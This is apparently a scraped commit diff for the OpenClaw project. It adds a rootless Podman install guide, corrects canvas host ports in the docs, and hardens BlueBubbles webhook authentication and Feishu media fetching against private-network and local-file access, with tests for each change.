- [ ] Minimal repro
- [ ] Expected vs actual
- [ ] Environment
- [ ] Affected channels, where not seen
- [ ] Logs/screenshots (redacted)
- [ ] Impact/severity
- [ ] Workarounds
### Summary
### Repro Steps
### Expected
### Actual
### Environment
### Logs/Evidence
### Impact
### Workarounds
```
#### Security issue
```md
### Summary
### Impact
### Versions
### Repro Steps (safe to share)
### Mitigation/workaround
### Evidence (redacted)
```
_Avoid secrets/exploit details in public. For sensitive issues, minimize detail and request private disclosure._
#### Regression report
```md
### Summary
### Last Known Good
### First Known Bad
### Repro Steps
### Expected
### Actual
### Environment
### Logs/Evidence
### Impact
```
#### Feature request
```md
### Summary
### Problem
### Proposed Solution
### Alternatives
### Impact
### Evidence/examples
```
#### Enhancement
```md
### Summary
### Current vs Desired Behavior
### Rationale
### Alternatives
### Evidence/examples
```
#### Investigation
```md
### Summary
### Symptoms
### What Was Tried
### Environment
### Logs/Evidence
### Impact
```
### Submitting a fix PR
Issue before PR is optional. Include details in PR if skipping. Keep the PR focused, note issue number, add tests or explain absence, document behavior changes/risks, include redacted logs/screenshots as proof, and run proper validation before submitting.

View File

@@ -266,10 +266,6 @@ services:
# Recommended: keep the Gateway loopback-only on the VM; access via SSH tunnel.
# To expose it publicly, remove the `127.0.0.1:` prefix and firewall accordingly.
- "127.0.0.1:${OPENCLAW_GATEWAY_PORT}:18789"
# Optional: only if you run iOS/Android nodes against this VM and need Canvas host.
# If you expose this publicly, read /gateway/security and firewall accordingly.
# - "18793:18793"
command:
[
"node",

View File

@@ -177,10 +177,6 @@ services:
# Recommended: keep the Gateway loopback-only on the VPS; access via SSH tunnel.
# To expose it publicly, remove the `127.0.0.1:` prefix and firewall accordingly.
- "127.0.0.1:${OPENCLAW_GATEWAY_PORT}:18789"
# Optional: only if you run iOS/Android nodes against this VPS and need Canvas host.
# If you expose this publicly, read /gateway/security and firewall accordingly.
# - "18793:18793"
command:
[
"node",

View File

@@ -142,6 +142,9 @@ The **installer script** is the recommended way to install OpenClaw. It handles
<Card title="Docker" href="/install/docker" icon="container">
Containerized or headless deployments.
</Card>
<Card title="Podman" href="/install/podman" icon="container">
Rootless container: run `setup-podman.sh` once, then the launch script.
</Card>
<Card title="Nix" href="/install/nix" icon="snowflake">
Declarative install via Nix.
</Card>

105
docs/install/podman.md Normal file
View File

@@ -0,0 +1,105 @@
---
summary: "Run OpenClaw in a rootless Podman container"
read_when:
- You want a containerized gateway with Podman instead of Docker
title: "Podman"
---
# Podman
Run the OpenClaw gateway in a **rootless** Podman container. Uses the same image as Docker (build from the repo [Dockerfile](https://github.com/openclaw/openclaw/blob/main/Dockerfile)).
## Requirements
- Podman (rootless)
- Sudo for one-time setup (create user, build image)
## Quick start
**1. One-time setup** (from repo root; creates user, builds image, installs launch script):
```bash
./setup-podman.sh
```
By default the container is **not** installed as a systemd service, you start it manually (see below). For a production-style setup with auto-start and restarts, install it as a systemd Quadlet user service instead:
```bash
./setup-podman.sh --quadlet
```
(Or set `OPENCLAW_PODMAN_QUADLET=1`; use `--container` to install only the container and launch script.)
**2. Start gateway** (manual, for quick smoke testing):
```bash
./scripts/run-openclaw-podman.sh launch
```
**3. Onboarding wizard** (e.g. to add channels or providers):
```bash
./scripts/run-openclaw-podman.sh launch setup
```
Then open `http://127.0.0.1:18789/` and use the token from `~openclaw/.openclaw/.env` (or the value printed by setup).
## Systemd (Quadlet, optional)
If you ran `./setup-podman.sh --quadlet` (or `OPENCLAW_PODMAN_QUADLET=1`), a [Podman Quadlet](https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html) unit is installed so the gateway runs as a systemd user service for the openclaw user. The service is enabled and started at the end of setup.
- **Start:** `sudo systemctl --machine openclaw@ --user start openclaw.service`
- **Stop:** `sudo systemctl --machine openclaw@ --user stop openclaw.service`
- **Status:** `sudo systemctl --machine openclaw@ --user status openclaw.service`
- **Logs:** `sudo journalctl --machine openclaw@ --user -u openclaw.service -f`
The quadlet file lives at `~openclaw/.config/containers/systemd/openclaw.container`. To change ports or env, edit that file (or the `.env` it sources), then `sudo systemctl --machine openclaw@ --user daemon-reload` and restart the service. On boot, the service starts automatically if lingering is enabled for openclaw (setup does this when loginctl is available).
To add quadlet **after** an initial setup that did not use it, re-run: `./setup-podman.sh --quadlet`.
## The openclaw user (non-login)
`setup-podman.sh` creates a dedicated system user `openclaw`:
- **Shell:** `nologin` — no interactive login; reduces attack surface.
- **Home:** e.g. `/home/openclaw` — holds `~/.openclaw` (config, workspace) and the launch script `run-openclaw-podman.sh`.
- **Rootless Podman:** The user must have a **subuid** and **subgid** range. Many distros assign these automatically when the user is created. If setup prints a warning, add lines to `/etc/subuid` and `/etc/subgid`:
```text
openclaw:100000:65536
```
Then start the gateway as that user (e.g. from cron or systemd):
```bash
sudo -u openclaw /home/openclaw/run-openclaw-podman.sh
sudo -u openclaw /home/openclaw/run-openclaw-podman.sh setup
```
- **Config:** Only `openclaw` and root can access `/home/openclaw/.openclaw`. To edit config: use the Control UI once the gateway is running, or `sudo -u openclaw $EDITOR /home/openclaw/.openclaw/openclaw.json`.
## Environment and config
- **Token:** Stored in `~openclaw/.openclaw/.env` as `OPENCLAW_GATEWAY_TOKEN`. Generate with: `openssl rand -hex 32`.
- **Optional:** In that `.env` you can set provider keys (e.g. `GROQ_API_KEY`, `OLLAMA_API_KEY`) and other OpenClaw env vars.
- **Host ports:** By default the script maps `18789` (gateway) and `18790` (bridge). Override the **host** port mapping with `OPENCLAW_PODMAN_GATEWAY_HOST_PORT` and `OPENCLAW_PODMAN_BRIDGE_HOST_PORT` when launching.
- **Paths:** Host config and workspace default to `~openclaw/.openclaw` and `~openclaw/.openclaw/workspace`. Override the host paths used by the launch script with `OPENCLAW_CONFIG_DIR` and `OPENCLAW_WORKSPACE_DIR`.
## Useful commands
- **Logs:** With quadlet: `sudo journalctl --machine openclaw@ --user -u openclaw.service -f`. With script: `sudo -u openclaw podman logs -f openclaw`
- **Stop:** With quadlet: `sudo systemctl --machine openclaw@ --user stop openclaw.service`. With script: `sudo -u openclaw podman stop openclaw`
- **Start again:** With quadlet: `sudo systemctl --machine openclaw@ --user start openclaw.service`. With script: re-run the launch script or `podman start openclaw`
- **Remove container:** `sudo -u openclaw podman rm -f openclaw` — config and workspace on the host are kept
## Troubleshooting
- **Permission denied (EACCES) on config or auth-profiles:** The container defaults to `--userns=keep-id` and runs as the same uid/gid as the host user running the script. Ensure your host `OPENCLAW_CONFIG_DIR` and `OPENCLAW_WORKSPACE_DIR` are owned by that user.
- **Rootless Podman fails for user openclaw:** Check `/etc/subuid` and `/etc/subgid` contain a line for `openclaw` (e.g. `openclaw:100000:65536`). Add it if missing and restart.
- **Container name in use:** The launch script uses `podman run --replace`, so the existing container is replaced when you start again. To clean up manually: `podman rm -f openclaw`.
- **Script not found when running as openclaw:** Ensure `setup-podman.sh` was run so that `run-openclaw-podman.sh` is copied to openclaws home (e.g. `/home/openclaw/run-openclaw-podman.sh`).
- **Quadlet service not found or fails to start:** Run `sudo systemctl --machine openclaw@ --user daemon-reload` after editing the `.container` file. Quadlet requires cgroups v2: `podman info --format '{{.Host.CgroupsVersion}}'` should show `2`.
## Optional: run as your own user
To run the gateway as your normal user (no dedicated openclaw user): build the image, create `~/.openclaw/.env` with `OPENCLAW_GATEWAY_TOKEN`, and run the container with `--userns=keep-id` and mounts to your `~/.openclaw`. The launch script is designed for the openclaw-user flow; for a single-user setup you can instead run the `podman run` command from the script manually, pointing config and workspace to your home. Recommended for most users: use `setup-podman.sh` and run as the openclaw user so config and process are isolated.

View File

@@ -123,20 +123,20 @@ The Android nodes Chat sheet uses the gateways **primary session key** (`m
If you want the node to show real HTML/CSS/JS that the agent can edit on disk, point the node at the Gateway canvas host.
Note: nodes use the standalone canvas host on `canvasHost.port` (default `18793`).
Note: nodes load canvas from the Gateway HTTP server (same port as `gateway.port`, default `18789`).
1. Create `~/.openclaw/workspace/canvas/index.html` on the gateway host.
2. Navigate the node to it (LAN):
```bash
openclaw nodes invoke --node "<Android Node>" --command canvas.navigate --params '{"url":"http://<gateway-hostname>.local:18793/__openclaw__/canvas/"}'
openclaw nodes invoke --node "<Android Node>" --command canvas.navigate --params '{"url":"http://<gateway-hostname>.local:18789/__openclaw__/canvas/"}'
```
Tailnet (optional): if both devices are on Tailscale, use a MagicDNS name or tailnet IP instead of `.local`, e.g. `http://<gateway-magicdns>:18793/__openclaw__/canvas/`.
Tailnet (optional): if both devices are on Tailscale, use a MagicDNS name or tailnet IP instead of `.local`, e.g. `http://<gateway-magicdns>:18789/__openclaw__/canvas/`.
This server injects a live-reload client into HTML and reloads on file changes.
The A2UI host lives at `http://<gateway-host>:18793/__openclaw__/a2ui/`.
The A2UI host lives at `http://<gateway-host>:18789/__openclaw__/a2ui/`.
Canvas commands (foreground only):

View File

@@ -69,12 +69,13 @@ In Settings, enable **Manual Host** and enter the gateway host + port (default `
The iOS node renders a WKWebView canvas. Use `node.invoke` to drive it:
```bash
openclaw nodes invoke --node "iOS Node" --command canvas.navigate --params '{"url":"http://<gateway-host>:18793/__openclaw__/canvas/"}'
openclaw nodes invoke --node "iOS Node" --command canvas.navigate --params '{"url":"http://<gateway-host>:18789/__openclaw__/canvas/"}'
```
Notes:
- The Gateway canvas host serves `/__openclaw__/canvas/` and `/__openclaw__/a2ui/`.
- It is served from the Gateway HTTP server (same port as `gateway.port`, default `18789`).
- The iOS node auto-navigates to A2UI on connect when a canvas host URL is advertised.
- Return to the built-in scaffold with `canvas.navigate` and `{"url":""}`.

View File

@@ -73,7 +73,7 @@ A2UI host page on first open.
Default A2UI host URL:
```
http://<gateway-host>:18793/__openclaw__/a2ui/
http://<gateway-host>:18789/__openclaw__/a2ui/
```
### A2UI commands (v0.8)

View File

@@ -130,6 +130,7 @@ Query parameters:
Safety:
- Without `key`, the app prompts for confirmation.
- Without `key`, the app enforces a short message limit for the confirmation prompt and ignores `deliver` / `to` / `channel`.
- With a valid `key`, the run is unattended (intended for personal automations).
## Onboarding flow (typical)

View File

@@ -31,6 +31,9 @@ openclaw plugins list
openclaw plugins install @openclaw/voice-call
```
Npm specs are **registry-only** (package name + optional version/tag). Git/URL/file
specs are rejected.
3. Restart the Gateway, then configure under `plugins.entries.<id>.config`.
See [Voice Call](/plugins/voice-call) for a concrete example plugin.
@@ -138,6 +141,10 @@ becomes `name/<fileBase>`.
If your plugin imports npm deps, install them in that directory so
`node_modules` is available (`npm install` / `pnpm install`).
Security note: `openclaw plugins install` installs plugin dependencies with
`npm install --ignore-scripts` (no lifecycle scripts). Keep plugin dependency
trees "pure JS/TS" and avoid packages that require `postinstall` builds.
### Channel catalog metadata
Channel plugins can advertise onboarding metadata via `openclaw.channel` and
@@ -424,7 +431,7 @@ Notes:
### Write a new messaging channel (stepbystep)
Use this when you want a **new chat surface** (a messaging channel), not a model provider.
Use this when you want a **new chat surface** (a "messaging channel"), not a model provider.
Model provider docs live under `/providers/*`.
1. Pick an id + config shape

View File

@@ -15,7 +15,7 @@ x-i18n:
# 系统提示词
OpenClaw 为每次智能体运行构建自定义系统提示词。该提示词由 **OpenClaw 拥有**,不使用 p-coding-agent 默认提示词。
OpenClaw 为每次智能体运行构建自定义系统提示词。该提示词由 **OpenClaw 拥有**,不使用 pi-coding-agent 默认提示词。
该提示词由 OpenClaw 组装并注入到每次智能体运行中。

View File

@@ -1,8 +0,0 @@
---
summary: 如何提交高信号 PR
title: 提交 PR
---
# 提交 PR
该页面是英文文档的中文占位版本,完整内容请先参考英文版:[Submitting a PR](/help/submitting-a-pr)。

View File

@@ -1,8 +0,0 @@
---
summary: 如何提交高信号 Issue
title: 提交 Issue
---
# 提交 Issue
该页面是英文文档的中文占位版本,完整内容请先参考英文版:[Submitting an Issue](/help/submitting-an-issue)。

View File

@@ -1,5 +1,5 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import { normalizeBlueBubblesServerUrl, type BlueBubblesAccountConfig } from "./types.js";
export type ResolvedBlueBubblesAccount = {

View File

@@ -557,6 +557,114 @@ describe("BlueBubbles webhook monitor", () => {
expect(res.statusCode).toBe(401);
});
it("rejects ambiguous routing when multiple targets match the same password", async () => {
const accountA = createMockAccount({ password: "secret-token" });
const accountB = createMockAccount({ password: "secret-token" });
const config: OpenClawConfig = {};
const core = createMockRuntime();
setBlueBubblesRuntime(core);
const sinkA = vi.fn();
const sinkB = vi.fn();
const req = createMockRequest("POST", "/bluebubbles-webhook?password=secret-token", {
type: "new-message",
data: {
text: "hello",
handle: { address: "+15551234567" },
isGroup: false,
isFromMe: false,
guid: "msg-1",
},
});
(req as unknown as { socket: { remoteAddress: string } }).socket = {
remoteAddress: "192.168.1.100",
};
const unregisterA = registerBlueBubblesWebhookTarget({
account: accountA,
config,
runtime: { log: vi.fn(), error: vi.fn() },
core,
path: "/bluebubbles-webhook",
statusSink: sinkA,
});
const unregisterB = registerBlueBubblesWebhookTarget({
account: accountB,
config,
runtime: { log: vi.fn(), error: vi.fn() },
core,
path: "/bluebubbles-webhook",
statusSink: sinkB,
});
unregister = () => {
unregisterA();
unregisterB();
};
const res = createMockResponse();
const handled = await handleBlueBubblesWebhookRequest(req, res);
expect(handled).toBe(true);
expect(res.statusCode).toBe(401);
expect(sinkA).not.toHaveBeenCalled();
expect(sinkB).not.toHaveBeenCalled();
});
it("does not route to passwordless targets when a password-authenticated target matches", async () => {
const accountStrict = createMockAccount({ password: "secret-token" });
const accountFallback = createMockAccount({ password: undefined });
const config: OpenClawConfig = {};
const core = createMockRuntime();
setBlueBubblesRuntime(core);
const sinkStrict = vi.fn();
const sinkFallback = vi.fn();
const req = createMockRequest("POST", "/bluebubbles-webhook?password=secret-token", {
type: "new-message",
data: {
text: "hello",
handle: { address: "+15551234567" },
isGroup: false,
isFromMe: false,
guid: "msg-1",
},
});
(req as unknown as { socket: { remoteAddress: string } }).socket = {
remoteAddress: "192.168.1.100",
};
const unregisterStrict = registerBlueBubblesWebhookTarget({
account: accountStrict,
config,
runtime: { log: vi.fn(), error: vi.fn() },
core,
path: "/bluebubbles-webhook",
statusSink: sinkStrict,
});
const unregisterFallback = registerBlueBubblesWebhookTarget({
account: accountFallback,
config,
runtime: { log: vi.fn(), error: vi.fn() },
core,
path: "/bluebubbles-webhook",
statusSink: sinkFallback,
});
unregister = () => {
unregisterStrict();
unregisterFallback();
};
const res = createMockResponse();
const handled = await handleBlueBubblesWebhookRequest(req, res);
expect(handled).toBe(true);
expect(res.statusCode).toBe(200);
expect(sinkStrict).toHaveBeenCalledTimes(1);
expect(sinkFallback).not.toHaveBeenCalled();
});
it("requires authentication for loopback requests when password is configured", async () => {
const account = createMockAccount({ password: "secret-token" });
const config: OpenClawConfig = {};

View File

@@ -398,23 +398,31 @@ export async function handleBlueBubblesWebhookRequest(
return true;
}
const matching = targets.filter((target) => {
const token = target.account.config.password?.trim();
const guidParam = url.searchParams.get("guid") ?? url.searchParams.get("password");
const headerToken =
req.headers["x-guid"] ??
req.headers["x-password"] ??
req.headers["x-bluebubbles-guid"] ??
req.headers["authorization"];
const guid = (Array.isArray(headerToken) ? headerToken[0] : headerToken) ?? guidParam ?? "";
const strictMatches: WebhookTarget[] = [];
const fallbackTargets: WebhookTarget[] = [];
for (const target of targets) {
const token = target.account.config.password?.trim() ?? "";
if (!token) {
return true;
fallbackTargets.push(target);
continue;
}
const guidParam = url.searchParams.get("guid") ?? url.searchParams.get("password");
const headerToken =
req.headers["x-guid"] ??
req.headers["x-password"] ??
req.headers["x-bluebubbles-guid"] ??
req.headers["authorization"];
const guid = (Array.isArray(headerToken) ? headerToken[0] : headerToken) ?? guidParam ?? "";
if (guid && guid.trim() === token) {
return true;
strictMatches.push(target);
if (strictMatches.length > 1) {
break;
}
}
return false;
});
}
const matching = strictMatches.length > 0 ? strictMatches : fallbackTargets;
if (matching.length === 0) {
res.statusCode = 401;
@@ -425,24 +433,30 @@ export async function handleBlueBubblesWebhookRequest(
return true;
}
for (const target of matching) {
target.statusSink?.({ lastInboundAt: Date.now() });
if (reaction) {
processReaction(reaction, target).catch((err) => {
target.runtime.error?.(
`[${target.account.accountId}] BlueBubbles reaction failed: ${String(err)}`,
);
});
} else if (message) {
// Route messages through debouncer to coalesce rapid-fire events
// (e.g., text message + URL balloon arriving as separate webhooks)
const debouncer = getOrCreateDebouncer(target);
debouncer.enqueue({ message, target }).catch((err) => {
target.runtime.error?.(
`[${target.account.accountId}] BlueBubbles webhook failed: ${String(err)}`,
);
});
}
if (matching.length > 1) {
res.statusCode = 401;
res.end("ambiguous webhook target");
console.warn(`[bluebubbles] webhook rejected: ambiguous target match path=${path}`);
return true;
}
const target = matching[0];
target.statusSink?.({ lastInboundAt: Date.now() });
if (reaction) {
processReaction(reaction, target).catch((err) => {
target.runtime.error?.(
`[${target.account.accountId}] BlueBubbles reaction failed: ${String(err)}`,
);
});
} else if (message) {
// Route messages through debouncer to coalesce rapid-fire events
// (e.g., text message + URL balloon arriving as separate webhooks)
const debouncer = getOrCreateDebouncer(target);
debouncer.enqueue({ message, target }).catch((err) => {
target.runtime.error?.(
`[${target.account.accountId}] BlueBubbles webhook failed: ${String(err)}`,
);
});
}
res.statusCode = 200;

View File

@@ -8,6 +8,9 @@
"@sinclair/typebox": "0.34.48",
"zod": "^4.3.6"
},
"devDependencies": {
"openclaw": "workspace:*"
},
"openclaw": {
"extensions": [
"./index.ts"

View File

@@ -1,5 +1,5 @@
import type { ClawdbotConfig } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type {
FeishuConfig,
FeishuAccountConfig,

View File

@@ -0,0 +1,123 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const createFeishuClientMock = vi.hoisted(() => vi.fn());
const fetchRemoteMediaMock = vi.hoisted(() => vi.fn());
vi.mock("./client.js", () => ({
createFeishuClient: createFeishuClientMock,
}));
vi.mock("./runtime.js", () => ({
getFeishuRuntime: () => ({
channel: {
media: {
fetchRemoteMedia: fetchRemoteMediaMock,
},
},
}),
}));
import { registerFeishuDocTools } from "./docx.js";
describe("feishu_doc image fetch hardening", () => {
const convertMock = vi.hoisted(() => vi.fn());
const blockListMock = vi.hoisted(() => vi.fn());
const blockChildrenCreateMock = vi.hoisted(() => vi.fn());
const driveUploadAllMock = vi.hoisted(() => vi.fn());
const blockPatchMock = vi.hoisted(() => vi.fn());
const scopeListMock = vi.hoisted(() => vi.fn());
beforeEach(() => {
vi.clearAllMocks();
createFeishuClientMock.mockReturnValue({
docx: {
document: {
convert: convertMock,
},
documentBlock: {
list: blockListMock,
patch: blockPatchMock,
},
documentBlockChildren: {
create: blockChildrenCreateMock,
},
},
drive: {
media: {
uploadAll: driveUploadAllMock,
},
},
application: {
scope: {
list: scopeListMock,
},
},
});
convertMock.mockResolvedValue({
code: 0,
data: {
blocks: [{ block_type: 27 }],
first_level_block_ids: [],
},
});
blockListMock.mockResolvedValue({
code: 0,
data: {
items: [],
},
});
blockChildrenCreateMock.mockResolvedValue({
code: 0,
data: {
children: [{ block_type: 27, block_id: "img_block_1" }],
},
});
driveUploadAllMock.mockResolvedValue({ file_token: "token_1" });
blockPatchMock.mockResolvedValue({ code: 0 });
scopeListMock.mockResolvedValue({ code: 0, data: { scopes: [] } });
});
it("skips image upload when markdown image URL is blocked", async () => {
const consoleErrorSpy = vi.spyOn(console, "error").mockImplementation(() => {});
fetchRemoteMediaMock.mockRejectedValueOnce(
new Error("Blocked: resolves to private/internal IP address"),
);
const registerTool = vi.fn();
registerFeishuDocTools({
config: {
channels: {
feishu: {
appId: "app_id",
appSecret: "app_secret",
},
},
} as any,
logger: { debug: vi.fn(), info: vi.fn() } as any,
registerTool,
} as any);
const feishuDocTool = registerTool.mock.calls
.map((call) => call[0])
.find((tool) => tool.name === "feishu_doc");
expect(feishuDocTool).toBeDefined();
const result = await feishuDocTool.execute("tool-call", {
action: "write",
doc_token: "doc_1",
content: "![x](https://x.test/image.png)",
});
expect(fetchRemoteMediaMock).toHaveBeenCalled();
expect(driveUploadAllMock).not.toHaveBeenCalled();
expect(blockPatchMock).not.toHaveBeenCalled();
expect(result.details.images_processed).toBe(0);
expect(consoleErrorSpy).toHaveBeenCalled();
consoleErrorSpy.mockRestore();
});
});

View File

@@ -5,6 +5,7 @@ import { Readable } from "stream";
import { listEnabledFeishuAccounts } from "./accounts.js";
import { createFeishuClient } from "./client.js";
import { FeishuDocSchema, type FeishuDocParams } from "./doc-schema.js";
import { getFeishuRuntime } from "./runtime.js";
import { resolveToolsConfig } from "./tools-config.js";
// ============ Helpers ============
@@ -175,12 +176,9 @@ async function uploadImageToDocx(
return fileToken;
}
async function downloadImage(url: string): Promise<Buffer> {
const response = await fetch(url);
if (!response.ok) {
throw new Error(`Failed to download image: ${response.status} ${response.statusText}`);
}
return Buffer.from(await response.arrayBuffer());
async function downloadImage(url: string, maxBytes: number): Promise<Buffer> {
const fetched = await getFeishuRuntime().channel.media.fetchRemoteMedia({ url, maxBytes });
return fetched.buffer;
}
/* eslint-disable @typescript-eslint/no-explicit-any -- SDK block types */
@@ -189,6 +187,7 @@ async function processImages(
docToken: string,
markdown: string,
insertedBlocks: any[],
maxBytes: number,
): Promise<number> {
/* eslint-enable @typescript-eslint/no-explicit-any */
const imageUrls = extractImageUrls(markdown);
@@ -204,7 +203,7 @@ async function processImages(
const blockId = imageBlocks[i].block_id;
try {
const buffer = await downloadImage(url);
const buffer = await downloadImage(url, maxBytes);
const urlPath = new URL(url).pathname;
const fileName = urlPath.split("/").pop() || `image_${i}.png`;
const fileToken = await uploadImageToDocx(client, blockId, buffer, fileName);
@@ -284,7 +283,7 @@ async function createDoc(client: Lark.Client, title: string, folderToken?: strin
};
}
async function writeDoc(client: Lark.Client, docToken: string, markdown: string) {
async function writeDoc(client: Lark.Client, docToken: string, markdown: string, maxBytes: number) {
const deleted = await clearDocumentContent(client, docToken);
const { blocks, firstLevelBlockIds } = await convertMarkdown(client, markdown);
@@ -294,7 +293,7 @@ async function writeDoc(client: Lark.Client, docToken: string, markdown: string)
const sortedBlocks = sortBlocksByFirstLevel(blocks, firstLevelBlockIds);
const { children: inserted, skipped } = await insertBlocks(client, docToken, sortedBlocks);
const imagesProcessed = await processImages(client, docToken, markdown, inserted);
const imagesProcessed = await processImages(client, docToken, markdown, inserted, maxBytes);
return {
success: true,
@@ -307,7 +306,12 @@ async function writeDoc(client: Lark.Client, docToken: string, markdown: string)
};
}
async function appendDoc(client: Lark.Client, docToken: string, markdown: string) {
async function appendDoc(
client: Lark.Client,
docToken: string,
markdown: string,
maxBytes: number,
) {
const { blocks, firstLevelBlockIds } = await convertMarkdown(client, markdown);
if (blocks.length === 0) {
throw new Error("Content is empty");
@@ -315,7 +319,7 @@ async function appendDoc(client: Lark.Client, docToken: string, markdown: string
const sortedBlocks = sortBlocksByFirstLevel(blocks, firstLevelBlockIds);
const { children: inserted, skipped } = await insertBlocks(client, docToken, sortedBlocks);
const imagesProcessed = await processImages(client, docToken, markdown, inserted);
const imagesProcessed = await processImages(client, docToken, markdown, inserted, maxBytes);
return {
success: true,
@@ -453,6 +457,7 @@ export function registerFeishuDocTools(api: OpenClawPluginApi) {
// Use first account's config for tools configuration
const firstAccount = accounts[0];
const toolsCfg = resolveToolsConfig(firstAccount.config.tools);
const mediaMaxBytes = (firstAccount.config?.mediaMaxMb ?? 30) * 1024 * 1024;
// Helper to get client for the default account
const getClient = () => createFeishuClient(firstAccount);
@@ -475,9 +480,9 @@ export function registerFeishuDocTools(api: OpenClawPluginApi) {
case "read":
return json(await readDoc(client, p.doc_token));
case "write":
return json(await writeDoc(client, p.doc_token, p.content));
return json(await writeDoc(client, p.doc_token, p.content, mediaMaxBytes));
case "append":
return json(await appendDoc(client, p.doc_token, p.content));
return json(await appendDoc(client, p.doc_token, p.content, mediaMaxBytes));
case "create":
return json(await createDoc(client, p.title, p.folder_token));
case "list_blocks":

View File

@@ -4,6 +4,7 @@ const createFeishuClientMock = vi.hoisted(() => vi.fn());
const resolveFeishuAccountMock = vi.hoisted(() => vi.fn());
const normalizeFeishuTargetMock = vi.hoisted(() => vi.fn());
const resolveReceiveIdTypeMock = vi.hoisted(() => vi.fn());
const loadWebMediaMock = vi.hoisted(() => vi.fn());
const fileCreateMock = vi.hoisted(() => vi.fn());
const messageCreateMock = vi.hoisted(() => vi.fn());
@@ -22,6 +23,14 @@ vi.mock("./targets.js", () => ({
resolveReceiveIdType: resolveReceiveIdTypeMock,
}));
vi.mock("./runtime.js", () => ({
getFeishuRuntime: () => ({
media: {
loadWebMedia: loadWebMediaMock,
},
}),
}));
import { sendMediaFeishu } from "./media.js";
describe("sendMediaFeishu msg_type routing", () => {
@@ -31,6 +40,7 @@ describe("sendMediaFeishu msg_type routing", () => {
resolveFeishuAccountMock.mockReturnValue({
configured: true,
accountId: "main",
config: {},
appId: "app_id",
appSecret: "app_secret",
domain: "feishu",
@@ -65,6 +75,13 @@ describe("sendMediaFeishu msg_type routing", () => {
code: 0,
data: { message_id: "reply_1" },
});
loadWebMediaMock.mockResolvedValue({
buffer: Buffer.from("remote-audio"),
fileName: "remote.opus",
kind: "audio",
contentType: "audio/ogg",
});
});
it("uses msg_type=media for mp4", async () => {
@@ -148,4 +165,23 @@ describe("sendMediaFeishu msg_type routing", () => {
expect(messageCreateMock).not.toHaveBeenCalled();
});
it("fails closed when media URL fetch is blocked", async () => {
loadWebMediaMock.mockRejectedValueOnce(
new Error("Blocked: resolves to private/internal IP address"),
);
await expect(
sendMediaFeishu({
cfg: {} as any,
to: "user:ou_target",
mediaUrl: "https://x/img",
fileName: "voice.opus",
}),
).rejects.toThrow(/private\/internal/i);
expect(fileCreateMock).not.toHaveBeenCalled();
expect(messageCreateMock).not.toHaveBeenCalled();
expect(messageReplyMock).not.toHaveBeenCalled();
});
});

View File

@@ -5,6 +5,7 @@ import path from "path";
import { Readable } from "stream";
import { resolveFeishuAccount } from "./accounts.js";
import { createFeishuClient } from "./client.js";
import { getFeishuRuntime } from "./runtime.js";
import { resolveReceiveIdType, normalizeFeishuTarget } from "./targets.js";
export type DownloadImageResult = {
@@ -449,23 +450,6 @@ export function detectFileType(
}
}
/**
* Check if a string is a local file path (not a URL)
*/
function isLocalPath(urlOrPath: string): boolean {
// Starts with / or ~ or drive letter (Windows)
if (urlOrPath.startsWith("/") || urlOrPath.startsWith("~") || /^[a-zA-Z]:/.test(urlOrPath)) {
return true;
}
// Try to parse as URL - if it fails or has no protocol, it's likely a local path
try {
const url = new URL(urlOrPath);
return url.protocol === "file:";
} catch {
return true; // Not a valid URL, treat as local path
}
}
/**
* Upload and send media (image or file) from URL, local path, or buffer
*/
@@ -479,6 +463,11 @@ export async function sendMediaFeishu(params: {
accountId?: string;
}): Promise<SendMediaResult> {
const { cfg, to, mediaUrl, mediaBuffer, fileName, replyToMessageId, accountId } = params;
const account = resolveFeishuAccount({ cfg, accountId });
if (!account.configured) {
throw new Error(`Feishu account "${account.accountId}" not configured`);
}
const mediaMaxBytes = (account.config?.mediaMaxMb ?? 30) * 1024 * 1024;
let buffer: Buffer;
let name: string;
@@ -487,26 +476,12 @@ export async function sendMediaFeishu(params: {
buffer = mediaBuffer;
name = fileName ?? "file";
} else if (mediaUrl) {
if (isLocalPath(mediaUrl)) {
// Local file path - read directly
const filePath = mediaUrl.startsWith("~")
? mediaUrl.replace("~", process.env.HOME ?? "")
: mediaUrl.replace("file://", "");
if (!fs.existsSync(filePath)) {
throw new Error(`Local file not found: ${filePath}`);
}
buffer = fs.readFileSync(filePath);
name = fileName ?? path.basename(filePath);
} else {
// Remote URL - fetch
const response = await fetch(mediaUrl);
if (!response.ok) {
throw new Error(`Failed to fetch media from URL: ${response.status}`);
}
buffer = Buffer.from(await response.arrayBuffer());
name = fileName ?? (path.basename(new URL(mediaUrl).pathname) || "file");
}
const loaded = await getFeishuRuntime().media.loadWebMedia(mediaUrl, {
maxBytes: mediaMaxBytes,
optimizeImages: false,
});
buffer = loaded.buffer;
name = fileName ?? loaded.fileName ?? "file";
} else {
throw new Error("Either mediaUrl or mediaBuffer must be provided");
}

View File

@@ -1,5 +1,5 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { GoogleChatAccountConfig } from "./types.config.js";
export type GoogleChatCredentialSource = "file" | "inline" | "env" | "none";

View File

@@ -2,21 +2,21 @@ import { describe, expect, it } from "vitest";
import { isSenderAllowed } from "./monitor.js";
describe("isSenderAllowed", () => {
it("matches allowlist entries with users/<email>", () => {
expect(isSenderAllowed("users/123", "Jane@Example.com", ["users/jane@example.com"])).toBe(true);
});
it("matches allowlist entries with raw email", () => {
expect(isSenderAllowed("users/123", "Jane@Example.com", ["jane@example.com"])).toBe(true);
});
it("does not treat users/<email> entries as email allowlist (deprecated form)", () => {
expect(isSenderAllowed("users/123", "Jane@Example.com", ["users/jane@example.com"])).toBe(
false,
);
});
it("still matches user id entries", () => {
expect(isSenderAllowed("users/abc", "jane@example.com", ["users/abc"])).toBe(true);
});
it("rejects non-matching emails", () => {
expect(isSenderAllowed("users/123", "jane@example.com", ["users/other@example.com"])).toBe(
false,
);
it("rejects non-matching raw email entries", () => {
expect(isSenderAllowed("users/123", "jane@example.com", ["other@example.com"])).toBe(false);
});
});

